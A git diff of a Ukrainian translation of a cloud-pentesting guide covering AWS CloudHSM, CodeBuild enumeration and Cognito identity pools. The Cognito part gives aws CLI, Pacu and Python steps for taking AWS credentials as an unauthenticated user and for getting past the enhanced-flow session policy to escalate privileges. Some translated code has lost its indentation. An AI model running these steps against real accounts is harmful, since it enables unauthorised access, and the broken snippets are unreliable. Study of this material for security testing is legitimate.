algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. +Так само, як і масштабування, **продуктивність залежить від вас у CloudHSM**. Продуктивність варіюється в залежності від того, який алгоритм шифрування використовується, і від того, як часто вам потрібно отримувати або витягувати ключі для шифрування даних. Продуктивність служби управління ключами обробляється Amazon і автоматично масштабується відповідно до вимог. Продуктивність CloudHSM досягається шляхом додавання більше пристроїв, і якщо вам потрібна більша продуктивність, ви або додаєте пристрої, або змінюєте метод шифрування на алгоритм, який є швидшим. -If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. +Якщо ваше рішення є **багато-регіональним**, вам слід додати кілька **пристроїв CloudHSM у другому регіоні та налагодити міжрегіональне з'єднання за допомогою приватного VPN-з'єднання** або якимось чином забезпечити, щоб трафік завжди був захищений між пристроєм на кожному рівні з'єднання. Якщо у вас є багато-регіональне рішення, вам потрібно подумати про те, як **реплікувати ключі та налаштувати додаткові пристрої CloudHSM у регіонах, де ви працюєте**. Ви можете дуже швидко потрапити в ситуацію, коли у вас є шість або вісім пристроїв, розподілених по кількох регіонах, що забезпечує повну резервність ваших шифрувальних ключів. -**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. +**CloudHSM** - це сервіс класу підприємства для безпечного зберігання ключів і може використовуватися як **корінь довіри для підприємства**. Він може зберігати приватні ключі в PKI та ключі сертифікаційних центрів у реалізаціях X509. На додаток до симетричних ключів, що використовуються в симетричних алгоритмах, таких як AES, **KMS зберігає та фізично захищає лише симетричні ключі (не може діяти як сертифікаційний центр)**, тому якщо вам потрібно зберігати ключі PKI та CA, один або два CloudHSM можуть бути вашим рішенням. -**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\ -Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance. +**CloudHSM значно дорожчий за службу управління ключами**. CloudHSM - це апаратний пристрій, тому у вас є фіксовані витрати на надання пристрою CloudHSM, а потім погодинна плата за роботу пристрою. Вартість множиться на кількість пристроїв CloudHSM, які потрібні для досягнення ваших конкретних вимог.\ +Крім того, слід врахувати витрати на придбання програмного забезпечення третьої сторони, такого як програмні комплекти SafeNet ProtectV, а також час і зусилля на інтеграцію. Служба управління ключами є платною за використання і залежить від кількості ключів, які у вас є, а також від операцій введення та виведення. Оскільки управління ключами забезпечує безшовну інтеграцію з багатьма службами AWS, витрати на інтеграцію повинні бути значно нижчими. Витрати слід вважати вторинним фактором у рішеннях щодо шифрування. Шифрування зазвичай використовується для безпеки та відповідності. -**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you. +**Тільки ви маєте доступ до ключів у CloudHSM** і без зайвих деталей, з CloudHSM ви керуєте своїми власними ключами. **З KMS ви та Amazon спільно керуєте вашими ключами**. AWS має багато політик безпеки проти зловживань і **все ще не може отримати доступ до ваших ключів в обох рішеннях**. Основна відмінність полягає в дотриманні вимог, що стосуються власності та управління ключами, і з CloudHSM це апаратний пристрій, яким ви керуєте та підтримуєте з виключним доступом тільки для вас. -### CloudHSM Suggestions +### Пропозиції щодо CloudHSM -1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. -2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. -3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear. -4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed. -5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool. -6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. -7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source. +1. Завжди розгортайте CloudHSM у **HA налаштуванні** з принаймні двома пристроями в **окремих зонах доступності**, і, якщо можливо, розгорніть третій або на місці, або в іншому регіоні AWS. +2. Будьте обережні при **ініціалізації** **CloudHSM**. Ця дія **знищить ключі**, тому або майте іншу копію ключів, або будьте абсолютно впевнені, що вам не знадобляться ці ключі для розшифровки будь-яких даних. +3. CloudHSM підтримує лише **певні версії прошивки** та програмного забезпечення. Перед виконанням будь-якого оновлення переконайтеся, що прошивка та/або програмне забезпечення підтримуються AWS. Ви завжди можете звернутися до служби підтримки AWS, щоб перевірити, якщо посібник з оновлення неясний. +4. **Конфігурацію мережі ніколи не слід змінювати.** Пам'ятайте, що це в центрі обробки даних AWS, і AWS моніторить базове обладнання для вас. Це означає, що якщо обладнання вийде з ладу, вони замінять його для вас, але тільки якщо вони знають, що воно вийшло з ладу. +5. **Пересилання SysLog не слід видаляти або змінювати**. Ви завжди можете **додати** пересилання SysLog, щоб направити журнали до вашого власного інструменту збору. +6. Конфігурація **SNMP** має ті ж основні обмеження, що й мережа та папка SysLog. Це **не слід змінювати або видаляти**. Додаткова конфігурація SNMP є нормальною, просто переконайтеся, що ви не змінюєте ту, що вже є на пристрої. +7. Ще одна цікава найкраща практика від AWS - **не змінювати конфігурацію NTP**. Неясно, що станеться, якщо ви це зробите, тому пам'ятайте, що якщо ви не використовуєте ту ж конфігурацію NTP для решти вашого рішення, то у вас можуть бути два джерела часу. Просто будьте обережні з цим і знайте, що CloudHSM повинен залишатися з існуючим джерелом NTP. -The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month. +Початкова плата за запуск CloudHSM становить 5,000 доларів США за виділення апаратного пристрою, призначеного для вашого використання, а потім є погодинна плата за роботу CloudHSM, яка наразі становить 1.88 доларів США за годину роботи, або приблизно 1,373 доларів США на місяць. -The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**. +Найпоширеніша причина використання CloudHSM - це стандарти відповідності, які ви повинні дотримуватися з регуляторних причин. **KMS не пропонує підтримку даних для асиметричних ключів. CloudHSM дозволяє вам безпечно зберігати асиметричні ключі**. -The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. +**Публічний ключ встановлюється на пристрій HSM під час надання** так що ви можете отримати доступ до екземпляра CloudHSM через SSH. -### What is a Hardware Security Module +### Що таке модуль апаратної безпеки -A hardware security module (HSM) is a dedicated cryptographic device that is used to generate, store, and manage cryptographic keys and protect sensitive data. It is designed to provide a high level of security by physically and electronically isolating the cryptographic functions from the rest of the system. +Модуль апаратної безпеки (HSM) - це спеціалізований криптографічний пристрій, який використовується для генерації, зберігання та управління криптографічними ключами та захисту чутливих даних. Він призначений для забезпечення високого рівня безпеки шляхом фізичного та електронного ізолювання криптографічних функцій від решти системи. -The way an HSM works can vary depending on the specific model and manufacturer, but generally, the following steps occur: +Спосіб роботи HSM може варіюватися в залежності від конкретної моделі та виробника, але зазвичай відбуваються такі кроки: -1. **Key generation**: The HSM generates a random cryptographic key using a secure random number generator. -2. **Key storage**: The key is **stored securely within the HSM, where it can only be accessed by authorized users or processes**. -3. **Key management**: The HSM provides a range of key management functions, including key rotation, backup, and revocation. -4. **Cryptographic operations**: The HSM performs a range of cryptographic operations, including encryption, decryption, digital signature, and key exchange. These operations are **performed within the secure environment of the HSM**, which protects against unauthorized access and tampering. -5. **Audit logging**: The HSM logs all cryptographic operations and access attempts, which can be used for compliance and security auditing purposes. +1. **Генерація ключа**: HSM генерує випадковий криптографічний ключ за допомогою безпечного генератора випадкових чисел. +2. **Зберігання ключа**: Ключ **надійно зберігається всередині HSM, де до нього можуть отримати доступ лише авторизовані користувачі або процеси**. +3. **Управління ключами**: HSM надає ряд функцій управління ключами, включаючи ротацію ключів, резервне копіювання та відкликання. +4. **Криптографічні операції**: HSM виконує ряд криптографічних операцій, включаючи шифрування, розшифрування, цифровий підпис та обмін ключами. Ці операції **виконуються в безпечному середовищі HSM**, що захищає від несанкціонованого доступу та підробки. +5. **Аудит журналювання**: HSM реєструє всі криптографічні операції та спроби доступу, які можуть бути використані для цілей відповідності та аудиту безпеки. -HSMs can be used for a wide range of applications, including secure online transactions, digital certificates, secure communications, and data encryption. They are often used in industries that require a high level of security, such as finance, healthcare, and government. +HSM можуть використовуватися для широкого спектру застосувань, включаючи безпечні онлайн-транзакції, цифрові сертифікати, безпечні комунікації та шифрування даних. Вони часто використовуються в галузях, які вимагають високого рівня безпеки, таких як фінанси, охорона здоров'я та уряд. -Overall, the high level of security provided by HSMs makes it **very difficult to extract raw keys from them, and attempting to do so is often considered a breach of security**. However, there may be **certain scenarios** where a **raw key could be extracted** by authorized personnel for specific purposes, such as in the case of a key recovery procedure. - -### Enumeration +В цілому, високий рівень безпеки, що забезпечується HSM, робить **дуже складним витягування сирих ключів з них, і спроби зробити це часто вважаються порушенням безпеки**. Однак можуть бути **певні сценарії**, коли **сирий ключ може бути витягнутий** уповноваженим персоналом для конкретних цілей, таких як у випадку процедури відновлення ключа. +### Перерахування ``` TODO ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index bd54cd791..3ffd4398b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,30 +4,29 @@ ## CodeBuild -AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass: +AWS **CodeBuild** вважається **повністю керованою службою безперервної інтеграції**. Основна мета цієї служби полягає в автоматизації послідовності компіляції вихідного коду, виконання тестів і упаковки програмного забезпечення для цілей розгортання. Основна перевага, яку пропонує CodeBuild, полягає в його здатності зменшити потребу користувачів у наданні, управлінні та масштабуванні своїх серверів для збірки. Ця зручність обумовлена тим, що сама служба управляє цими завданнями. Основні функції AWS CodeBuild включають: -1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance. -2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process. -3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment. +1. **Керована служба**: CodeBuild управляє та масштабує сервери для збірки, звільняючи користувачів від обслуговування серверів. +2. **Безперервна інтеграція**: Вона інтегрується з робочим процесом розробки та розгортання, автоматизуючи етапи збірки та тестування процесу випуску програмного забезпечення. +3. **Виробництво пакетів**: Після етапів збірки та тестування вона готує програмні пакети, роблячи їх готовими до розгортання. -AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability. +AWS CodeBuild безперешкодно інтегрується з іншими службами AWS, підвищуючи ефективність і надійність конвеєра CI/CD (Безперервна інтеграція/Безперервне розгортання). ### **Github/Gitlab/Bitbucket Credentials** #### **Default source credentials** -This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials. +Це спадкова опція, де можливо налаштувати деякі **доступи** (як токен або додаток Github), які будуть **спільними для проектів codebuild**, щоб усі проекти могли використовувати цей налаштований набір облікових даних. -The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs. +Збережені облікові дані (токени, паролі...) **керуються codebuild** і немає жодного публічного способу їх отримати з AWS APIs. #### Custom source credential -Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**. +В залежності від платформи репозиторію (Github, Gitlab та Bitbucket) надаються різні опції. Але в загальному, будь-яка опція, яка вимагає **зберігати токен або пароль, буде зберігати його як секрет у менеджері секретів**. -This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one. +Це дозволяє **різним проектам codebuild використовувати різні налаштовані доступи** до постачальників замість того, щоб просто використовувати налаштований за замовчуванням. ### Enumeration - ```bash # List external repo creds (such as github tokens) ## It doesn't return the token but just the ARN where it's located @@ -48,10 +47,9 @@ aws codebuild list-build-batches-for-project --project-name aws codebuild list-reports aws codebuild describe-test-cases --report-arn ``` - ### Privesc -In the following page, you can check how to **abuse codebuild permissions to escalate privileges**: +На наступній сторінці ви можете перевірити, як **зловживати дозволами codebuild для ескалації привілеїв**: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md @@ -74,7 +72,3 @@ In the following page, you can check how to **abuse codebuild permissions to esc - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index c870c1791..7f107d9dd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,16 +4,16 @@ ## Cognito -Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple. +Amazon Cognito використовується для **автентифікації, авторизації та управління користувачами** в веб- та мобільних додатках. Він дозволяє користувачам гнучко входити в систему безпосередньо, використовуючи **ім'я користувача та пароль**, або опосередковано через **третю сторону**, включаючи Facebook, Amazon, Google або Apple. -Central to Amazon Cognito are two primary components: +Центральними компонентами Amazon Cognito є два основні елементи: -1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**. -2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication. +1. **User Pools**: Це каталоги, призначені для користувачів вашого додатку, які пропонують **функції реєстрації та входу**. +2. **Identity Pools**: Ці пули є важливими для **авторизації користувачів для доступу до різних сервісів AWS**. Вони не беруть безпосередньої участі в процесі входу або реєстрації, але є критично важливими для доступу до ресурсів після автентифікації. ### **User pools** -To learn what is a **Cognito User Pool check**: +Щоб дізнатися, що таке **Cognito User Pool check**: {{#ref}} cognito-user-pools.md @@ -21,14 +21,13 @@ cognito-user-pools.md ### **Identity pools** -The learn what is a **Cognito Identity Pool check**: +Щоб дізнатися, що таке **Cognito Identity Pool check**: {{#ref}} cognito-identity-pools.md {{#endref}} ## Enumeration - ```bash # List Identity Pools aws cognito-identity list-identity-pools --max-results 60 @@ -72,14 +71,13 @@ aws cognito-idp get-user-pool-mfa-config --user-pool-id ## Get risk configuration aws cognito-idp describe-risk-configuration --user-pool-id ``` - ### Identity Pools - Unauthenticated Enumeration -Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles). +Просто **знаючи ID пулу ідентичності**, ви можете **отримати облікові дані ролі, пов'язаної з неавтентифікованими** користувачами (якщо такі є). [**Перевірте, як тут**](cognito-identity-pools.md#accessing-iam-roles). ### User Pools - Unauthenticated Enumeration -Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.** +Навіть якщо ви **не знаєте дійсне ім'я користувача** в Cognito, ви можете **перерахувати** дійсні **імена користувачів**, **BF** **паролі** або навіть **зареєструвати нового користувача**, просто **знаючи ID клієнта програми** (який зазвичай знаходиться в вихідному коді). [**Перевірте, як тут**](cognito-user-pools.md#registration)**.** ## Privesc @@ -100,7 +98,3 @@ Even if you **don't know a valid username** inside Cognito, you might be able to {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 024c7ea91..6de0d85e5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,14 +4,13 @@ ## Basic Information -Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include: +Identity pools serve a crucial role by enabling your users to **отримувати тимчасові облікові дані**. Ці облікові дані є необхідними для доступу до різних AWS services, включаючи, але не обмежуючись, Amazon S3 та DynamoDB. Важливою особливістю identity pools є їх підтримка як анонімних гостьових користувачів, так і різноманітних постачальників ідентичності для аутентифікації користувачів. Підтримувані постачальники ідентичності включають: - Amazon Cognito user pools -- Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple -- Providers compliant with OpenID Connect (OIDC) -- SAML (Security Assertion Markup Language) identity providers -- Developer authenticated identities - +- Соціальні варіанти входу, такі як Facebook, Google, Login with Amazon та Sign in with Apple +- Постачальники, що відповідають OpenID Connect (OIDC) +- SAML (Security Assertion Markup Language) постачальники ідентичності +- Ідентичності, аутентифіковані розробником ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -24,74 +23,64 @@ identity_pool_id = 'your-identity-pool-id' # Add an identity provider to the identity pool response = client.set_identity_pool_roles( - IdentityPoolId=identity_pool_id, - Roles={ - 'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', - 'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', - } +IdentityPoolId=identity_pool_id, +Roles={ +'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', +'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', +} ) # Print the response from AWS print(response) ``` - ### Cognito Sync -To generate Identity Pool sessions, you first need to **generate and Identity ID**. This Identity ID is the **identification of the session of that user**. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs. +Щоб згенерувати сесії Identity Pool, спочатку потрібно **згенерувати ідентифікатор Identity ID**. Цей ідентифікатор є **ідентифікацією сесії цього користувача**. Ці ідентифікації можуть мати до 20 наборів даних, які можуть зберігати до 1 МБ пар ключ-значення. -This is **useful to keep information of a user** (who will be always using the same Identity ID). +Це **корисно для збереження інформації про користувача** (який завжди буде використовувати один і той же ідентифікатор Identity ID). -Moreover, the service **cognito-sync** is the service that allow to **manage and syncronize this information** (in the datasets, sending info in streams and SNSs msgs...). +Більше того, сервіс **cognito-sync** є сервісом, який дозволяє **керувати та синхронізувати цю інформацію** (в наборах даних, надсилаючи інформацію в потоках та повідомленнях SNS...). ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), фреймворк експлуатації AWS, тепер включає модулі "cognito\_\_enum" та "cognito\_\_attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та ескалацію привілеїв на основі змінних атрибутів, що підлягають модифікації, використовуваних облікових даних пулу ідентичностей, ролей, які можна прийняти в токенах ідентифікації тощо. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Для опису функцій модулів дивіться частину 2 [блог-посту](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Для інструкцій з установки дивіться основну сторінку [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Usage -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: - +Приклад використання cognito\_\_attack для спроби створення користувача та всіх векторів ескалації привілеїв проти даного пулу ідентичностей та клієнта пулу користувачів: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Приклад використання cognito\_\_enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичності, користувачів тощо, видимих у поточному обліковому записі AWS: ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) - це інструмент CLI на python, який реалізує різні атаки на Cognito, включаючи небажане створення облікових записів та ескалацію пулу ідентичностей. -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation. - -#### Installation - +#### Встановлення ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### Використання ```bash $ cognito-scanner --help ``` +Для отримання додаткової інформації перевірте https://github.com/padok-team/cognito-scanner -For more information check https://github.com/padok-team/cognito-scanner +## Доступ до IAM ролей -## Accessing IAM Roles +### Неавтентифікований -### Unauthenticated - -The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable). +Єдине, що потрібно знати зловмиснику, щоб **отримати AWS облікові дані** в додатку Cognito як неавтентифікованому користувачу, це **ID пулу ідентичностей**, і цей **ID повинен бути закодований** в веб/мобільному **додатку** для його використання. ID виглядає так: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (його не можна зламати методом перебору). > [!TIP] -> The **IAM Cognito unathenticated role created via is called** by default `Cognito_Unauth_Role` - -If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with: +> **IAM роль Cognito для неавтентифікованих користувачів, створена через**, за замовчуванням називається `Cognito_<Назва пулу ідентичностей>Unauth_Role` +Якщо ви знайдете ID пулу ідентичностей, закодований в додатку, і він дозволяє неавтентифікованим користувачам, ви можете отримати AWS облікові дані за допомогою: ```python import requests @@ -105,8 +94,8 @@ r = requests.post(url, json=params, headers=headers) json_resp = r.json() if not "IdentityId" in json_resp: - print(f"Not valid id: {id_pool_id}") - exit +print(f"Not valid id: {id_pool_id}") +exit IdentityId = r.json()["IdentityId"] @@ -117,23 +106,19 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` - -Or you could use the following **aws cli commands**: - +Або ви можете використовувати наступні **aws cli команди**: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` - > [!WARNING] -> Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section. +> Зверніть увагу, що за замовчуванням неавтентифікований користувач cognito **НЕ МОЖЕ мати жодних дозволів, навіть якщо вони були призначені через політику**. Перевірте наступний розділ. -### Enhanced vs Basic Authentication flow +### Розширений vs Базовий потік автентифікації -The previous section followed the **default enhanced authentication flow**. This flow sets a **restrictive** [**session policy**](../../aws-basic-information/#session-policies) to the IAM role session generated. This policy will only allow the session to [**use the services from this list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (even if the role had access to other services). - -However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**. +Попередній розділ слідував **за замовчуванням розширеному потоку автентифікації**. Цей потік встановлює **обмежувальну** [**політику сесії**](../../aws-basic-information/#session-policies) для сесії ролі IAM, що генерується. Ця політика дозволить сесії [**використовувати послуги з цього списку**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (навіть якщо роль мала доступ до інших послуг). +Однак є спосіб обійти це, якщо **пул ідентичності має увімкнений "Базовий (Класичний) Потік"**, користувач зможе отримати сесію, використовуючи цей потік, який **не матиме цієї обмежувальної політики сесії**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -145,51 +130,46 @@ aws cognito-identity get-open-id-token --identity-id --no-sign ## If you don't know the role_arn use the previous enhanced flow to get it aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` - > [!WARNING] -> If you receive this **error**, it's because the **basic flow is not enabled (default)** +> Якщо ви отримали цю **помилку**, це тому, що **базовий потік не увімкнено (за замовчуванням)** > `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -Having a set of IAM credentials you should check [which access you have](../../#whoami) and try to [escalate privileges](../../aws-privilege-escalation/). +Маючи набір облікових даних IAM, вам слід перевірити [які права ви маєте](../../#whoami) і спробувати [підвищити привілеї](../../aws-privilege-escalation/). -### Authenticated +### Аутентифіковані > [!NOTE] -> Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials. +> Пам'ятайте, що **аутентифікованим користувачам** можуть бути надані **різні дозволи**, тому якщо ви можете **зареєструватися в додатку**, спробуйте це зробити і отримати нові облікові дані. -There could also be **roles** available for **authenticated users accessing the Identity Poo**l. +Також можуть бути доступні **ролі** для **аутентифікованих користувачів, які отримують доступ до Identity Pool**. -For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**. +Для цього вам може знадобитися доступ до **постачальника ідентичності**. Якщо це **Cognito User Pool**, можливо, ви зможете зловживати стандартною поведінкою і **створити нового користувача самостійно**. > [!TIP] -> The **IAM Cognito athenticated role created via is called** by default `Cognito_Auth_Role` +> **IAM роль аутентифікованого Cognito, створена через**, за замовчуванням називається `Cognito_Auth_Role` -Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured). +У будь-якому випадку, **наступний приклад** передбачає, що ви вже увійшли в **Cognito User Pool**, який використовується для доступу до Identity Pool (не забувайте, що також можуть бути налаштовані інші типи постачальників ідентичності).
aws cognito-identity get-id \
-    --identity-pool-id <identity_pool_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id <identity_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
-# Get the identity_id from the previous commnad response
+# Отримайте identity_id з відповіді попередньої команди
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 
-# In the IdToken you can find roles a user has access because of User Pool Groups
-# User the --custom-role-arn to get credentials to a specific role
+# У IdToken ви можете знайти ролі, до яких має доступ користувач через групи User Pool
+# Використовуйте --custom-role-arn, щоб отримати облікові дані для конкретної ролі
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
+--identity-id <identity_id> \
     --custom-role-arn <role_arn> \
     --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
